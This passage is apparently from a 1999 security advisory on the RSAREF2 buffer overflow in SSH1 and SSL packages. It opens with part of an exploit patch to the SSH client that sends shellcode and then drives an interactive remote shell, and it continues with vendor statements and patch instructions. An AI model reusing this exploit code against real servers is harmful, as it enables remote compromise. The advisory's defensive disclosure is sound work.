    + #ifdef SSH_EXPLOIT
    +   packet_put_string("BETO",4);
    +   packet_put_string((char *)&myfakeKey,sizeof(myfakeKey));
    +   packet_put_string(shell_code, shell_code_len);
    +   packet_put_string((char *)myPrivateKey.n._mp_d,myPrivateKey.n._mp_size*4);
    +   packet_put_string((char *)myPrivateKey.e._mp_d,myPrivateKey.e._mp_size*4);
    +   packet_put_string((char *)myPrivateKey.q._mp_d,myPrivateKey.q._mp_size*4);
    +   packet_put_string((char *)myPrivateKey.p._mp_d,myPrivateKey.p._mp_size*4);
    +   packet_put_string((char *)myPrivateKey.u._mp_d,myPrivateKey.u._mp_size*4);
    + #endif
        packet_send();
        packet_write_wait();
    + #ifdef SSH_EXPLOIT

    + 	usleep(10);
    + 	first = 1;
    + 	i = write(packet_get_connection_in(),"id\n",3);
    + 	if ( getpeername(packet_get_connection_in(),(struct sockaddr *)&sin, &sin_len) == -1)
    + 		return;
    +
    + 	while (1) {
    +   	FD_ZERO(&rfds);
    + 		FD_SET(packet_get_connection_in(),&rfds);
    + 		FD_SET(STDIN_FILENO,&rfds);
    + 		if ( (retval = select(packet_get_connection_in()+1,&rfds,NULL,NULL,NULL)) < 0 )
    + 			return;
    + 		if (FD_ISSET(STDIN_FILENO,&rfds)) {
    + 			i=read(STDIN_FILENO,buf,sizeof(buf));
    + 			write(packet_get_connection_out(),buf,i);
    + 		} else if (FD_ISSET(packet_get_connection_in(),&rfds)) {
    + 			i=read(packet_get_connection_in(),buf,sizeof(buf));
    + 			if ( first )
    + 				if ( strncmp(buf,"uid",3) )
    + 					return;
    + 				else {
    + 					fprintf(stdout,"Got it!\n");
    + 					first = 0;
    + 				}
    + 			write(STDOUT_FILENO,buf,i);
    + 		}
    + 	}
    + #endif
        /* Destroy the session key integer and the public keys since we no longer
           need them. */
        mpz_clear(&key);
    ***************
    *** 1583,1588 ****
    --- 1690,1697 ----
        debug("Sent encrypted session key.");

        /* Set the encryption key. */
    +   packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH+120,
    +                             options->cipher, 1);
        packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH,
                                  options->cipher, 1);

    OpenBSD  ships  with  applications  using public key cryptography.
    Because OpenBSD are trying to  make release CDROMs for the  entire
    world, they cannot put RSA onto the CD.  Instead, they've made  it
    so that the RSA patented  code stays in a package  containing some
    shared  libraries,  and  our  installation  software installs this
    package from  over the  'net.   Each package  contains two  shared
    libraries:  libcrypto  and  libssl;  just  like  regular  OpenSSL.
    People outside the USA can  use these two libraries, found  in the
    "ssl26" package.   Non-commercial entities  in the  USA cannot  --
    because of the patent issue  -- and for them OpenBSD  provides the
    "sslUSA26" package.  The  "sslUSA26" package is OpenSSL,  like the
    other  package,  but  OpenBSD  removed  the  OpenSSL  RSA code and
    replaced it with RSAREF2.  This permits the non-commercial use  of
    "sslUSA26" inside the USA.  Well, all this just really means  that
    "sslUSA26"  contains  the  problem  found  by  CORE-SDI  (openssh,
    isakmpd, httpd).   You can  find out  which ssl  libraries you are
    using by doing:

        # pkg_info | grep ssl

    If you are  using ssl26.tar.gz, you  are are NOT  AFFECTED.  (This
    crypto  problem  only   burns  Americans!)    If  you  are   using
    sslUSA26.tar.gz, you want the replacement libraries:
    1) Get the correct file for your architecture:

        ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/i386/sslUSA26.tar.gz
        ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/sparc/sslUSA26.tar.gz
        ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/hp300/sslUSA26.tar.gz
        ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/mvme68k/sslUSA26.tar.gz
        ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/mac68k/sslUSA26.tar.gz
        ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/amiga/sslUSA26.tar.gz

    2) Install it by doing:

        # pkg_delete sslUSA26
        # pkg_add -v sslUSA26.tar.gz

    Then restart any affected daemons.  For others, see below.

    Compaq Computer Corporation
    ===========================
      Compaq's Tru64 UNIX is not vulnerable. Compaq does not ship ssl.

    Covalent Technologies
    =====================
      The Raven SSL module is not vulnerable to this attack since  the
      SSL library used does not use the RSAREF library.

    Data Fellows Inc.
    =================
      F-Secure SSH  versions prior  1.3.7 are  vulnerable but F-Secure
      SSH 2.x and above are not.

    FreeBSD
    =======
      FreeBSD  3.3R  and  prior  releases  contain  packages with this
      problem.   This problem  was corrected  December 2,  1999 in the
      ports tree.   Packages built  after this  date with  the  rsaref
      updated should  be unaffected  by this  vulnerabilities. Some or
      all of the following ports may be affected should be rebuilt:

        p5-Penguin,  p5-Penguin-Easy,   jp-pgp,  ja-w3m-ssl,   ko-pgp,
        pgpsendmail, pine4-ssl,  premail, ParMetis,  SSLtelnet, mpich,
        pipsecd, tund, nntpcache, p5-Gateway, p5-News-Article, ru-pgp,
        bjorb, keynote,  OpenSSH, openssl,  p5-PGP, p5-PGP-Sign,  pgp,
        slush,  ssh,  sslproxy,  stunnel,  apache+mod_ssl, apache+ssl,
        lynx-ssl, w3m-ssl, zope

      Please see the FreeBSD Handbook for information on how to obtain
      a current copy of the ports tree and how to rebuild those  ports
      which depend on rsaref.

    Hewlett-Packard Company
    =======================
      HP  does  not  supply  SSH.  HP  has not conducted compatibility
      testing  with  version  1.2.27  of  SSH,  when compiled with the
      option --with-rsaref.  Further,  RSAREF2 has not been  tested to
      date.  As far as the investigation to date, HP appears to be not
      vulnerable.

    IBM Corporation
    ===============
      IBM AIX does  not currently ship  the secure shell  (ssh) nor do
      the  base  components  of  AIX  ship  or  link  with the RSAREF2
      library.

    Microsoft
    =========
      The  Microsoft  Security  Response  Team  has  investigated this
      issue,  and   no  Microsoft   products  are   affected  by   the
      vulnerability.

    NetBSD
    ======
      NetBSD  does  not  ship  with  ssh  in  either  its  US-only  or
      International variants at this time, so no default  installation
      of NetBSD is vulnerable.   However, ssh is installed and  widely
      used by  many NetBSD  installations, and  is available  from our
      software package tree  in source form.   The NetBSD ssh  package
      can  be  compiled  either  with  or without RSAREF2, settable by
      the administrator at compile  time according to local  copyright
      and license restrictions.   Installations which used RSAREF2  in
      compiling  ssh  are  vulnerable,  and  we  recommend recompiling
      without  RSAREF2  if  their  local  legal situation permits.  In
      addition, the following list of software packages in the  NetBSD
      "packages" system are also dependent on the RSAREF2 library:

        * archivers/hpack
        * security/openssl
        * security/pgp2
        * security/pgp5
        * www/ap-ssl

    of those, the  security/openssl package is  itself a library,  and
    the following packages depend on it:

        * net/ppp-mppe
        * net/speakfreely-crypto
        * www/ap-ssl

    Network Associates, Inc.
    ========================
      After a technical review of  the buffer overflow bug in  RSAREF,
      we  have  determined  at  Network  Associates  that  PGP  is not
      affected by this bug, because  of the careful way that  PGP uses
      RSAREF.  This  applies to all  versions of PGP  ever released by
      MIT, which are the  only versions of PGP  that use RSAREF.   All
      other versions of PGP, such  as the commercial versions and  the
      international versions, avoid the use of RSAREF entirely.

    RSA Security Inc.
    =================
      RSA  Security  Inc.  recommends  that  developers  implement the
      proposed or similar patch to RSAREF version 2.0 or otherwise  to
      ensure  that  the  length  in  bits  of  the modulus supplied to
      RSAREF is less than or equal to MAX_RSA_MODULUS_BITS.

    SSH Communications
    ==================
      The bug only affects ssh when it is compiled with RSAREF  (i.e.,
      only when  --with-rsaref is  explicitly supplied  on the command
      line).   Any  version  compiled  without  --with-rsaref  is  not
      affected.  The problem should not affect users of the commercial
      versions (who  are licensed  to use  the built-in  RSA) or users
      outside the United States  (who are presumably not  using RSAREF
      and can use the built-in  RSA without needing a license).  I.e.,
      only  those  non-commercial  users  who  actually compile with a
      separately  obtained  RSAREF  should  be  affected.   The bug is
      present in all versions of SSH1, up to and including 1.2.27.  It
      will be fixed in  ssh-1-2.28 (expected to go  out in a few  days
      to fix  this problem).  It does  not affect  SSH2. (Please  note
      that ssh1 is  no longer maintained,  except for security  fixes,
      due to certain rather fundamental problems that have been  fixed
      in ssh2.)   Any implementation  compiled without  an  explicitly
      specified --with-rsaref is not affected by this problem.

    Stronghold
    ==========
      Stronghold does not use RSAREF and is unaffected.